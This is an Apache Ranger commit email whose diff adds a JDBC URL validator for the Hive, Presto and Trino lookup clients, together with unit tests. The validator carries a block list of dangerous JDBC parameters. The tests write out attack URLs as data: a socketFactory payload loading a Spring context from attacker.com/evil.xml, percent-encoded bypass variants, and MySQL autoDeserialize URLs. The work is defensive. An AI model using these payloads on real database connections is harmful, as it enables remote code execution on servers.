This is an automated email from the ASF dual-hosted git repository.

vyommani pushed a commit to branch ranger-2.10
in repository https://gitbox.apache.org/repos/asf/ranger.git


The following commit(s) were added to refs/heads/ranger-2.10 by this push:
     new 4133385f6 RANGER-5808: Validate JDBC connection configuration in Hive, 
Presto and Trino resource lookup clients (#1305)
4133385f6 is described below

commit 4133385f6a0d9541a4b132ee65303cf161dec06c
Author: Vyom Mani Tiwari <[email protected]>
AuthorDate: Tue Oct 13 22:44:22 2026 +0530

    RANGER-5808: Validate JDBC connection configuration in Hive, Presto and 
Trino resource lookup clients (#1305)
---
 .../ranger/plugin/client/JdbcUrlValidator.java     | 289 ++++++++++
 .../ranger/plugin/client/JdbcUrlValidatorTest.java | 594 +++++++++++++++++++++
 .../ranger/services/hive/client/HiveClient.java    |  14 +
 .../services/hive/client/JdbcUrlValidator.java     | 121 -----
 .../services/hive/client/JdbcUrlValidatorTest.java | 482 -----------------
 .../services/hive/client/TestHiveClient.java       |  68 +++
 .../services/presto/client/PrestoClient.java       |  14 +
 .../services/presto/client/TestPrestoClient.java   |  62 +++
 .../ranger/services/trino/client/TrinoClient.java  |  14 +
 .../services/trino/client/TestTrinoClient.java     |  66 +++
 10 files changed, 1121 insertions(+), 603 deletions(-)

diff --git 
a/agents-common/src/main/java/org/apache/ranger/plugin/client/JdbcUrlValidator.java
 
b/agents-common/src/main/java/org/apache/ranger/plugin/client/JdbcUrlValidator.java
new file mode 100644
index 000000000..b0cfcfad9
--- /dev/null
+++ 
b/agents-common/src/main/java/org/apache/ranger/plugin/client/JdbcUrlValidator.java
@@ -0,0 +1,289 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.ranger.plugin.client;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.net.URLDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+
+public final class JdbcUrlValidator {
+    private static final Logger LOG = 
LoggerFactory.getLogger(JdbcUrlValidator.class);
+    private static final Set<String> BLOCKED_PARAMS = 
Collections.unmodifiableSet(
+            new HashSet<>(Arrays.asList(
+                    "socketfactory", "socketfactoryarg", "sslfactory", 
"sslfactoryarg",
+                    "sslhostnameverifier", "authenticationpluginclassname", 
"loggerclassname",
+                    "kerberosservername", "gssdelegatecred", 
"sslpasswordcallback", "dnsresolver")));
+    private static final String[] DANGEROUS_PATTERNS = {"socketfactory", 
"sslfactory", "autodeserialize"};
+
+    private JdbcUrlValidator() {
+    }
+
+    static void validate(String jdbcUrl) throws HadoopException {
+        if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) {
+            HadoopException e = new HadoopException("jdbc.url must not be null 
or empty");
+            e.generateResponseDataMap(false, "Validation failed", "jdbc.url is 
required",
+                    null, "jdbc.url");
+            throw e;
+        }
+        String trimmed = jdbcUrl.trim();
+        rejectBlockedParameters(trimmed, trimmed);
+        // Hive decodes percent-escapes before splitting session variables, so 
a
+        // separator written as %3B or %3F is invisible to a scan of the raw 
URL.
+        if (trimmed.indexOf('%') >= 0) {
+            rejectBlockedParameters(percentDecode(trimmed), trimmed);
+        }
+        LOG.debug("jdbc.url passed validation: {}", sanitizeForLog(trimmed));
+    }
+
+    /**
+     * Validates jdbc.url and requires it to start with one of the given 
prefixes,
+     * followed by a host. The prefix check uses the trimmed URL. Callers must 
pass
+     * that same trimmed string to DriverManager.
+     */
+    public static void validate(String jdbcUrl, Collection<String> 
allowedUrlPrefixes) throws HadoopException {
+        validate(jdbcUrl);
+
+        String candidate     = jdbcUrl.trim();
+        String matchedPrefix = null;
+
+        if (allowedUrlPrefixes != null) {
+            for (String prefix : allowedUrlPrefixes) {
+                if (prefix != null && !prefix.isEmpty() && 
candidate.startsWith(prefix)) {
+                    matchedPrefix = prefix;
+                    break;
+                }
+            }
+        }
+
+        if (matchedPrefix == null) {
+            LOG.warn("Rejected jdbc.url with unsupported scheme: {}", 
sanitizeForLog(candidate));
+
+            HadoopException e = new HadoopException("jdbc.url must start with 
one of " + allowedUrlPrefixes);
+            e.generateResponseDataMap(false, "Invalid jdbc.url", "jdbc.url 
must start with one of " + allowedUrlPrefixes, null, "jdbc.url");
+            throw e;
+        }
+
+        requireHost(candidate, matchedPrefix);
+    }
+
+    public static void validateDriverClassName(String driverClassName, 
Collection<String> allowedDriverClassNames) throws HadoopException {
+        // Null skips registration. DriverManager then picks a driver that 
accepts the URL,
+        // which the prefix and host checks already constrained.
+        if (driverClassName == null) {
+            return;
+        }
+
+        if (allowedDriverClassNames == null || 
!allowedDriverClassNames.contains(driverClassName)) {
+            LOG.warn("Rejected jdbc.driverClassName not in allowed list {}", 
allowedDriverClassNames);
+
+            HadoopException e = new HadoopException("jdbc.driverClassName must 
be one of " + allowedDriverClassNames);
+            e.generateResponseDataMap(false, "Invalid jdbc.driverClassName", 
"jdbc.driverClassName must be one of " + allowedDriverClassNames, null, 
"jdbc.driverClassName");
+            throw e;
+        }
+    }
+
+    /**
+     * An empty host is Hive embedded mode (jdbc:hive2://, jdbc:hive2:///, 
jdbc:hive2://;...).
+     * That starts HiveServer2 inside the Admin JVM. A port with no hostname
+     * (jdbc:hive2://:10000/..., including one percent-encoded colon) is not a 
host either.
+     * The same requirement applies to every allowed prefix. Hive also accepts 
a
+     * comma-separated ZooKeeper ensemble, and each entry must have a host.
+     */
+    private static void requireHost(String url, String prefix) throws 
HadoopException {
+        String rest = url.substring(prefix.length());
+
+        // java.net.URI decodes the authority once. Decode here so %3A10000 is 
the same empty host as :10000.
+        if (rest.indexOf('%') >= 0) {
+            rest = percentDecode(rest);
+        }
+
+        if (!hasNonEmptyHost(rest)) {
+            LOG.warn("Rejected jdbc.url without a host: {}", 
sanitizeForLog(url));
+
+            HadoopException e = new HadoopException("jdbc.url must include a 
host");
+            e.generateResponseDataMap(false, "Invalid jdbc.url", "jdbc.url 
must include a host", null, "jdbc.url");
+            throw e;
+        }
+    }
+
+    private static boolean hasNonEmptyHost(String rest) {
+        int authorityEnd = rest.length();
+
+        for (int i = 0; i < rest.length(); i++) {
+            char c = rest.charAt(i);
+
+            if (c == '/' || c == ';' || c == '?' || c == '#') {
+                authorityEnd = i;
+                break;
+            }
+        }
+
+        String authority = rest.substring(0, authorityEnd).trim();
+
+        if (authority.isEmpty()) {
+            return false;
+        }
+
+        for (String entry : authority.split(",", -1)) {
+            if (hostToken(entry).isEmpty()) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    private static String hostToken(String entry) {
+        String token = entry.trim();
+        int at = token.lastIndexOf('@');
+
+        if (at >= 0) {
+            token = token.substring(at + 1).trim();
+        }
+
+        if (token.startsWith("[")) {
+            int end = token.indexOf(']');
+
+            return end > 1 ? token.substring(1, end).trim() : "";
+        }
+
+        int colon = token.indexOf(':');
+
+        if (colon >= 0) {
+            token = token.substring(0, colon);
+        }
+
+        return token.trim();
+    }
+
+    private static void rejectBlockedParameters(String candidate, String 
urlForLog) throws HadoopException {
+        int queryStart = findQueryStart(candidate);
+        if (queryStart != -1) {
+            validateQueryString(candidate.substring(queryStart + 1), 
urlForLog);
+        }
+    }
+
+    private static String percentDecode(String value) throws HadoopException {
+        StringBuilder decoded = new StringBuilder(value.length());
+
+        for (int i = 0; i < value.length(); i++) {
+            char current = value.charAt(i);
+
+            if (current != '%') {
+                decoded.append(current);
+                continue;
+            }
+
+            if (i + 2 >= value.length()) {
+                throw invalidPercentEncoding(value);
+            }
+
+            int high = Character.digit(value.charAt(i + 1), 16);
+            int low = Character.digit(value.charAt(i + 2), 16);
+
+            if (high < 0 || low < 0) {
+                throw invalidPercentEncoding(value);
+            }
+
+            decoded.append((char) ((high << 4) + low));
+            i += 2;
+        }
+
+        return decoded.toString();
+    }
+
+    private static HadoopException invalidPercentEncoding(String url) {
+        LOG.warn("Rejected jdbc.url with invalid percent-encoding: {}", 
sanitizeForLog(url));
+
+        String message = "jdbc.url contains invalid percent-encoding; a '%' 
must be followed by two hex digits (encode a literal '%' as %25)";
+
+        HadoopException e = new HadoopException(message);
+        e.generateResponseDataMap(false, "Invalid jdbc.url", message, null, 
"jdbc.url");
+        return e;
+    }
+
+    private static void validateQueryString(String queryString, String 
fullUrl) throws HadoopException {
+        String[] tokens = queryString.split("[&;?]");
+        for (String token : tokens) {
+            if (token.trim().isEmpty()) {
+                continue;
+            }
+            int eqIdx = token.indexOf('=');
+            String paramName = (eqIdx >= 0 ? token.substring(0, eqIdx) : 
token).trim();
+            String decodedParamName = paramName;
+            try {
+                // JDK 8: URLDecoder.decode(String, Charset) is Java 10+.
+                decodedParamName = URLDecoder.decode(paramName, 
StandardCharsets.UTF_8.name());
+            } catch (Exception e) {
+                LOG.warn("Failed to decode parameter name: {}", paramName);
+            }
+
+            String normalized = 
decodedParamName.toLowerCase().trim().replaceAll("[._-]", "");
+            if (BLOCKED_PARAMS.contains(normalized)) {
+                logAndThrow("blocked parameter", normalized, paramName, 
fullUrl);
+            }
+            for (String danger : DANGEROUS_PATTERNS) {
+                if (normalized.contains(danger)) {
+                    logAndThrow("dangerous pattern '" + danger + "'", 
normalized, paramName, fullUrl);
+                }
+            }
+            if (normalized.contains("factory") && 
(normalized.contains("socket") || normalized.contains("ssl") ||
+                    normalized.contains("connection") || 
normalized.contains("auth") ||
+                    normalized.contains("driver") || 
normalized.contains("datasource"))) {
+                logAndThrow("potentially dangerous factory parameter", 
normalized, paramName, fullUrl);
+            }
+        }
+    }
+
+    static String sanitizeForLog(String url) {
+        if (url == null) {
+            return "<null>";
+        }
+        int idx = findQueryStart(url);
+        return idx >= 0 ? url.substring(0, idx) + "?<params_redacted>" : url;
+    }
+
+    private static int findQueryStart(String url) {
+        int qIdx = url.indexOf('?');
+        int sIdx = url.indexOf(';');
+        if (qIdx >= 0 && sIdx >= 0) {
+            return Math.min(qIdx, sIdx);
+        } else if (qIdx >= 0) {
+            return qIdx;
+        } else if (sIdx >= 0) {
+            return sIdx;
+        }
+        return -1;
+    }
+
+    private static void logAndThrow(String reason, String normalized, String 
originalParam, String fullUrl) {
+        LOG.warn("Rejected jdbc.url containing {} '{}' (param='{}'): {}", 
reason, normalized, originalParam, sanitizeForLog(fullUrl));
+        HadoopException e = new HadoopException("jdbc.url contains a 
prohibited parameter: '" + originalParam +
+                "'. This parameter is not permitted for security reasons.");
+        e.generateResponseDataMap(false, "Invalid jdbc.url parameter", 
"Parameter '" +
+                originalParam + "' is blocked", null, "jdbc.url");
+        throw e;
+    }
+}
diff --git 
a/agents-common/src/test/java/org/apache/ranger/plugin/client/JdbcUrlValidatorTest.java
 
b/agents-common/src/test/java/org/apache/ranger/plugin/client/JdbcUrlValidatorTest.java
new file mode 100644
index 000000000..cc57db793
--- /dev/null
+++ 
b/agents-common/src/test/java/org/apache/ranger/plugin/client/JdbcUrlValidatorTest.java
@@ -0,0 +1,594 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package org.apache.ranger.plugin.client;
+
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Nested;
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class JdbcUrlValidatorTest {
+    @Nested
+    @DisplayName("Valid JDBC URLs")
+    class ValidUrls {
+        @Test
+        @DisplayName("Simple JDBC URL without parameters")
+        void simpleUrlWithoutParameters() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default"));
+        }
+
+        @Test
+        @DisplayName("URL with safe parameters")
+        void urlWithSafeParameters() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?user=test&password=secret&ssl=true"));
+        }
+
+        @Test
+        @DisplayName("URL with Kerberos parameters")
+        void urlWithKerberosParameters() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default?principal=hive/host@REALM;auth=kerberos"));
+        }
+
+        @Test
+        @DisplayName("PostgreSQL URL with safe parameters")
+        void postgresqlUrlWithSafeParameters() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:postgresql://localhost:5432/db?user=test&ssl=true"));
+        }
+
+        @Test
+        @DisplayName("URL with leading/trailing whitespace")
+        void urlWithWhitespace() {
+            assertDoesNotThrow(() -> JdbcUrlValidator.validate("  
jdbc:hive2://host:10000/db  "));
+        }
+    }
+
+    @Nested
+    @DisplayName("Blocked Parameters - Exact Matches")
+    class BlockedParameters {
+        @Test
+        @DisplayName("Rejects exact blocked parameter names")
+        void rejectsExactBlockedParameters() {
+            for (String blockedParam : new String[] {
+                    "socketfactory", "socketfactoryarg", "sslfactory", 
"sslfactoryarg",
+                    "sslhostnameverifier", "authenticationpluginclassname", 
"loggerclassname",
+                    "kerberosservername", "gssdelegatecred", 
"sslpasswordcallback"
+            }) {
+                String url = "jdbc:hive2://host:10000/db?" + blockedParam + 
"=malicious";
+                HadoopException exception = 
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url));
+                assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+                assertTrue(exception.getMessage().contains(blockedParam));
+            }
+        }
+
+        @Test
+        @DisplayName("Rejects socketFactory with Spring 
ClassPathXmlApplicationContext (original CVE)")
+        void rejectsOriginalCvePayload() {
+            String url = "jdbc:postgresql://127.0.0.1:5432/x" +
+                    
"?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext"
 +
+                    "&socketFactoryArg=http://attacker.com/evil.xml";;
+            HadoopException exception = assertThrows(HadoopException.class, () 
-> JdbcUrlValidator.validate(url));
+            assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+        }
+    }
+
+    @Nested
+    @DisplayName("Dangerous Pattern Detection")
+    class DangerousPatterns {
+        @Test
+        @DisplayName("Rejects parameters containing dangerous patterns")
+        void rejectsDangerousPatterns() {
+            for (String pattern : new String[] {
+                    "socketfactory", "sslfactory", "autodeserialize"
+            }) {
+                String url = "jdbc:hive2://host:10000/db?custom" + pattern + 
"=malicious";
+                HadoopException exception = 
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url));
+                assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+            }
+        }
+
+        @Test
+        @DisplayName("Rejects MySQL autoDeserialize parameter")
+        void rejectsMysqlAutoDeserialize() {
+            String url = 
"jdbc:mysql://host:3306/db?customautodeserialize=true";
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+        }
+    }
+
+    @Nested
+    @DisplayName("Factory Pattern Detection")
+    class FactoryPatterns {
+        @Test
+        @DisplayName("Rejects factory-related parameters")
+        void rejectsFactoryParameters() {
+            for (String factoryParam : new String[] {
+                    "customsocketfactory", "mysslconnectionfactory", 
"authfactory",
+                    "driverfactory", "datasourcefactory"
+            }) {
+                String url = "jdbc:postgresql://host:5432/db?" + factoryParam 
+ "=com.evil.Factory";
+                HadoopException exception = 
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url));
+                assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+            }
+        }
+
+        @Test
+        @DisplayName("Allows non-dangerous factory parameters")
+        void allowsNonDangerousFactory() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?factory=simple&timeout=30"));
+        }
+    }
+
+    @Nested
+    @DisplayName("URL Encoding Bypass Prevention")
+    class EncodingBypassPrevention {
+        @Test
+        @DisplayName("Rejects URL-encoded socketFactory (%46 = F)")
+        void rejectsUrlEncodedSocketFactory() {
+            String url = 
"jdbc:hive2://host:10000/db?socket%46actory=malicious";
+            HadoopException exception = assertThrows(HadoopException.class, () 
-> JdbcUrlValidator.validate(url));
+            assertTrue(exception.getMessage().contains("prohibited 
parameter"));
+        }
+
+        @Test
+        @DisplayName("Rejects various URL encoding bypass attempts")
+        void rejectsEncodedBypassAttempts() {
+            for (String encodedParam : new String[] {
+                    "socket%46actory",      // %46 = 'F'
+                    "socket%66actory",      // %66 = 'f'
+                    "%73ocketfactory",      // %73 = 's'
+                    "ssl%46actory",         // SSL factory with encoded F
+                    "%73sl%46actory"        // Multiple encoded characters
+            }) {
+                String url = "jdbc:postgresql://host:5432/db?" + encodedParam 
+ "=malicious";
+                assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+            }
+        }
+
+        @Test
+        @DisplayName("Rejects a blocked parameter hidden behind a 
percent-encoded separator")
+        void rejectsEncodedSeparator() {
+            for (String url : new String[] {
+                    
"jdbc:hive2://host:10000/default%3BsocketFactory=com.example.X",
+                    
"jdbc:hive2://host:10000/default%3bsocketFactory=com.example.X",
+                    
"jdbc:hive2://host:10000/default%3Bsocket%46actory=com.example.X",
+                    
"jdbc:hive2://host:10000/db%3BsocketFactory=com.example.X?foo=bar"
+            }) {
+                HadoopException exception = 
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url, 
Collections.singletonList("jdbc:hive2://")));
+                assertTrue(exception.getMessage().contains("prohibited 
parameter"), exception.getMessage());
+            }
+        }
+
+        @Test
+        @DisplayName("Allows a safe session variable behind a percent-encoded 
separator")
+        void allowsSafeEncodedSeparator() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default%3Bssl=true%3BtransportMode=http",
 Collections.singletonList("jdbc:hive2://")));
+        }
+
+        @Test
+        @DisplayName("Allows a percent-encoded character inside a safe 
parameter value")
+        void allowsEncodedSafeValue() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default;principal=hive%2Fhost@REALM"));
+        }
+
+        @Test
+        @DisplayName("Decodes percent-escapes only once")
+        void decodesPercentEscapesOnce() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default%253BsocketFactory=com.example.X",
 Collections.singletonList("jdbc:hive2://")));
+        }
+
+        @Test
+        @DisplayName("Rejects malformed percent-encoding")
+        void rejectsMalformedEncoding() {
+            for (String url : new String[] {
+                    "jdbc:hive2://host:10000/default%",
+                    "jdbc:hive2://host:10000/default;ssl=%ZZ"
+            }) {
+                HadoopException exception = 
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url));
+                assertTrue(exception.getMessage().contains("invalid 
percent-encoding"), exception.getMessage());
+            }
+        }
+    }
+
+    @Nested
+    @DisplayName("Case Sensitivity")
+    class CaseSensitivity {
+        @Test
+        @DisplayName("Rejects parameters regardless of case")
+        void rejectsParametersRegardlessOfCase() {
+            for (String paramName : new String[] {
+                    "SOCKETFACTORY", "SocketFactory", "socketFactory",
+                    "SSLFACTORY", "SslFactory", "sslFactory"
+            }) {
+                String url = "jdbc:hive2://host:10000/db?" + paramName + 
"=malicious";
+                assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+            }
+        }
+
+        @Test
+        @DisplayName("Handles mixed case with encoding")
+        void handlesMixedCaseWithEncoding() {
+            String url = 
"jdbc:hive2://host:10000/db?Socket%46actory=malicious";
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+        }
+    }
+
+    @Nested
+    @DisplayName("Parameter Separator Handling")
+    class ParameterSeparators {
+        @Test
+        @DisplayName("Handles & separator")
+        void handlesAmpersandSeparator() {
+            String url = 
"jdbc:hive2://host:10000/db?user=test&socketfactory=evil&ssl=true";
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+        }
+
+        @Test
+        @DisplayName("Handles ; separator")
+        void handlesSemicolonSeparator() {
+            String url = 
"jdbc:hive2://host:10000/db?user=test;socketfactory=evil;ssl=true";
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+        }
+
+        @Test
+        @DisplayName("Handles mixed separators")
+        void handlesMixedSeparators() {
+            String url = 
"jdbc:hive2://host:10000/db?user=test;ssl=true&socketfactory=evil";
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+        }
+
+        @Test
+        @DisplayName("Handles parameters without values")
+        void handlesParametersWithoutValues() {
+            String url = 
"jdbc:hive2://host:10000/db?ssl&socketfactory&timeout=30";
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+        }
+    }
+
+    @Nested
+    @DisplayName("Character Obfuscation")
+    class CharacterObfuscation {
+        @Test
+        @DisplayName("Rejects parameters with separator character obfuscation")
+        void rejectsObfuscatedParameters() {
+            for (String obfuscatedParam : new String[] {
+                    "socket.factory", "socket-factory", "socket_factory",
+                    "ssl.factory", "ssl-factory", "ssl_factory"
+            }) {
+                String url = "jdbc:hive2://host:10000/db?" + obfuscatedParam + 
"=malicious";
+                assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+            }
+        }
+
+        @Test
+        @DisplayName("Handles multiple obfuscation techniques")
+        void handlesMultipleObfuscation() {
+            String url = 
"jdbc:hive2://host:10000/db?Socket-Factory_ARG=malicious";
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+        }
+    }
+
+    @Nested
+    @DisplayName("Edge Cases and Error Conditions")
+    class EdgeCases {
+        @Test
+        @DisplayName("Rejects null URL")
+        void rejectsNullUrl() {
+            HadoopException exception = assertThrows(HadoopException.class, () 
-> JdbcUrlValidator.validate(null));
+            assertTrue(exception.getMessage().contains("must not be null or 
empty"));
+        }
+
+        @Test
+        @DisplayName("Rejects empty URL")
+        void rejectsEmptyUrl() {
+            HadoopException exception = assertThrows(HadoopException.class, () 
-> JdbcUrlValidator.validate(""));
+            assertTrue(exception.getMessage().contains("must not be null or 
empty"));
+        }
+
+        @Test
+        @DisplayName("Rejects whitespace-only URL")
+        void rejectsWhitespaceOnlyUrl() {
+            HadoopException exception = assertThrows(HadoopException.class, () 
-> JdbcUrlValidator.validate("   "));
+            assertTrue(exception.getMessage().contains("must not be null or 
empty"));
+        }
+
+        @Test
+        @DisplayName("Handles URL without query parameters")
+        void handlesUrlWithoutQueryParameters() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default"));
+        }
+
+        @Test
+        @DisplayName("Handles URL with empty query string")
+        void handlesUrlWithEmptyQueryString() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?"));
+        }
+
+        @Test
+        @DisplayName("Handles URL with only separators in query")
+        void handlesUrlWithOnlySeparators() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?&;&;"));
+        }
+    }
+
+    @Nested
+    @DisplayName("Logging and Sanitization")
+    class LoggingAndSanitization {
+        @Test
+        @DisplayName("Sanitizes URL for logging")
+        void sanitizesUrlForLogging() {
+            String url = 
"jdbc:hive2://host:10000/db?password=secret&user=test";
+            String sanitized = JdbcUrlValidator.sanitizeForLog(url);
+            assertFalse(sanitized.contains("secret"));
+            assertTrue(sanitized.contains("<params_redacted>"));
+            assertTrue(sanitized.contains("jdbc:hive2://host:10000/db"));
+        }
+
+        @Test
+        @DisplayName("Handles null URL in sanitization")
+        void handlesNullUrlInSanitization() {
+            String result = JdbcUrlValidator.sanitizeForLog(null);
+            assertEquals("<null>", result);
+        }
+
+        @Test
+        @DisplayName("Handles URL without parameters in sanitization")
+        void handlesUrlWithoutParamsInSanitization() {
+            String url = "jdbc:hive2://host:10000/db";
+            String result = JdbcUrlValidator.sanitizeForLog(url);
+            assertEquals(url, result);
+        }
+
+        @Test
+        void testSanitizeForLogWithSemicolonParams() {
+            String url = 
"jdbc:hive2://server:10000/db;user=admin;password=secret";
+            String result = JdbcUrlValidator.sanitizeForLog(url);
+            assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", 
result);
+        }
+
+        @Test
+        void testSanitizeForLogWithQuestionMarkParams() {
+            String url = 
"jdbc:hive2://server:10000/db?user=admin&password=secret";
+            String result = JdbcUrlValidator.sanitizeForLog(url);
+            assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", 
result);
+        }
+
+        @Test
+        void testSanitizeForLogWithMixedSeparators() {
+            String url = 
"jdbc:hive2://server:10000/db;ssl=true?socketFactory=evil";
+            String result = JdbcUrlValidator.sanitizeForLog(url);
+            assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", 
result);
+        }
+    }
+
+    @Nested
+    @DisplayName("Mixed Parameter Delimiters")
+    class MixedDelimiters {
+        @Test
+        @DisplayName("Blocks dangerous param in semicolon when ? appears 
later")
+        void blocksSemicolonBeforeQuestion() {
+            String url = 
"jdbc:hive2://host:10000/db;socketFactory=evil?user=test";
+            HadoopException ex = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+            assertTrue(ex.getMessage().contains("socketFactory"));
+        }
+
+        @Test
+        @DisplayName("Blocks dangerous param in question mark when ; appears 
later")
+        void blocksQuestionBeforeSemicolon() {
+            String url = 
"jdbc:hive2://host:10000/db?socketFactory=evil;user=test";
+            HadoopException ex = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+            assertTrue(ex.getMessage().contains("socketFactory"));
+        }
+
+        @Test
+        @DisplayName("Handles semicolon-only Hive URLs")
+        void handlesSemicolonOnly() {
+            String url = "jdbc:hive2://host:10000/db;socketFactory=evil";
+            HadoopException ex = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+            assertTrue(ex.getMessage().contains("socketFactory"));
+        }
+
+        @Test
+        @DisplayName("Handles question-only URLs")
+        void handlesQuestionOnly() {
+            String url = "jdbc:hive2://host:10000/db?socketFactory=evil";
+            HadoopException ex = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+            assertTrue(ex.getMessage().contains("socketFactory"));
+        }
+    }
+
+    @Nested
+    @DisplayName("Integration Tests")
+    class IntegrationTests {
+        @Test
+        @DisplayName("Complex malicious URL with multiple attack vectors")
+        void complexMaliciousUrl() {
+            String url = "jdbc:postgresql://evil.com:5432/db" +
+                    "?user=admin&password=secret" +
+                    
"&socket%46actory=org.springframework.context.support.ClassPathXmlApplicationContext"
 +
+                    "&socketFactoryArg=http://attacker.com/evil.xml"; +
+                    "&SSL-Factory=com.evil.SSLFactory" +
+                    "&custom_autodeserialize=true";
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url));
+        }
+
+        @Test
+        @DisplayName("Real-world Hive URL with safe parameters")
+        void realWorldHiveUrl() {
+            String url = "jdbc:hive2://hive-server:10000/warehouse" +
+                    "?principal=hive/[email protected]" +
+                    ";auth=kerberos" +
+                    ";ssl=true" +
+                    ";sslTrustStore=/etc/hive/truststore.jks" +
+                    ";transportMode=http" +
+                    ";httpPath=cliservice";
+            assertDoesNotThrow(() -> JdbcUrlValidator.validate(url));
+        }
+
+        @Test
+        @DisplayName("PostgreSQL URL with safe SSL parameters")
+        void postgresqlSafeUrl() {
+            String url = "jdbc:postgresql://pg-server:5432/mydb" +
+                    "?user=admin&password=secret&ssl=true&sslmode=require";
+            assertDoesNotThrow(() -> JdbcUrlValidator.validate(url));
+        }
+    }
+
+    @Nested
+    @DisplayName("URL scheme allow-list")
+    class UrlSchemeAllowList {
+        private final List<String> hivePrefixes = 
Collections.singletonList("jdbc:hive2://");
+
+        @Test
+        void allowedScheme() {
+            for (String url : new String[] {
+                    "jdbc:hive2://localhost:10000/default",
+                    
"jdbc:hive2://zk1:2181,zk2:2181/;serviceDiscoveryMode=zooKeeper;zooKeeperNamespace=hiveserver2",
+                    
"jdbc:hive2://host:10000/db;transportMode=http;httpPath=cliservice;ssl=true",
+                    " jdbc:hive2://localhost:10000/default ",
+                    "jdbc:hive2://[::1]:10000/default",
+                    "jdbc:hive2://user:pass@host:10000/db"
+            }) {
+                assertDoesNotThrow(() -> JdbcUrlValidator.validate(url, 
hivePrefixes));
+            }
+        }
+
+        @Test
+        void rejectedScheme() {
+            for (String url : new String[] {
+                    "jdbc:mysql://localhost:3306/db",
+                    
"jdbc:mysql://address=(host=localhost)(port=3306)(autoDeserialize=true)(queryInterceptors=com.example.X)/db",
+                    
"jdbc:mysql://(host=localhost,port=3306,allowLoadLocalInfile=true)/db",
+                    "jdbc:mysql://localhost:3306/db?allowLoadLocalInfile=true",
+                    "jdbc:postgresql://localhost:5432/db",
+                    "jdbc:h2:mem:test",
+                    "jdbc:hive://localhost:10000/default",
+                    "JDBC:HIVE2://localhost:10000/default",
